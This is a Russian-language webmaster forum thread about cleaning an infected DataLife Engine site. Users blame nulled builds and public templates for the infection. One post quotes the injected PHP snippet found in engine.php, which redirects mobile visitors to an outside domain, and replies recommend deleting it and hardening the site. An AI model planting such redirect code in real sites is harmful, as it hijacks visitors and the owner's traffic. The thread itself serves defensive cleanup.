Вирус в dle сайте

у меня на WP постоянно такое появляется, я уже не знаю что делать (у меня как попандер предлагающий обновить абоде ридер.)

Да, сам думаю удалить эту строку. Но не знаю, надо разобраться откуда она появляеться.

Скорее всего у вас шелл на сайте, могу помочь его найти

Эта строчка выводится тегом {headers} в main.tpl, {headers} изменять нужно в /engine/engine.php в самом низу.

За частую бывает,если шаблон взят с паблика он в любом случаи напичкан рекламой!
А если стоит нуль от M.I.D то воопще лучше сразу сайт удалить,я как то раз поковырялся в нем у меня чуть челесть не отпала,он как дуршлак напичкан!

напичкан чем? нулы от мид тим самые надежные, за 3 года работы, ни одного "косяка". прежде, чем обвинять, подумайте, сможете ли доказать...
в общем пруф в студию.
dan95, дело пишет...

Вот, лечитесь

Вообщем в engine.php множество стороннего кода, но раньше не было.

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}$active = FALSE;
$newsmodule = FALSE;
$disable_index = FALSE;
Кто может сказать, что делать с этим кодом, удалить?

удалить, трафик сливается

config.php проверьте и index.php

Вы пользуетесь стандартное, dle проверкой? попробуйте!

Спасибо 74ivan74

Антивирус Dle обнаружил папку /upgrade/ и файлы внутри нее. Может удалить эту папку?

удалить конечно... она необходима для обновления версии (это когда обновляешься до актуальной версии движка, заливаешь ее)

у меня тоже уж 2 года как дле стоит от мид. первый косяк был месяца два назад, тоже яша писал, что есть вирус. я не нашла. яша тоже повторно не нашел. а вот потом стала перевозить сайты и нашла. прям в конфиге было все прописано, с телефонов, айфонов и прочего шло перенаправление. но вот с моего смарта ни разу не было его. лично я выставила права 644 на конфиг и закрыла регу. потом искала информацию и нашла, что нынче можно так подосрать (пардон) через загрузку аватара. больше ходов не нашла. да и закрыли уже в новых версиях эту дыру.

код нужно удалять...

Стоит нулл от мид? Лезим в файлы engine.php ищем ссылку на 8дле . ру дальше ползем в show.full.php ищем тот же самый адрес, далее идем feedback.php ищем ссылку на невтемплеатес . ру ,по мимо этой ссылки там имеется еще парочка левых,удаляюсь с темы... ps - про шаблоны вообще молчу, описал малость!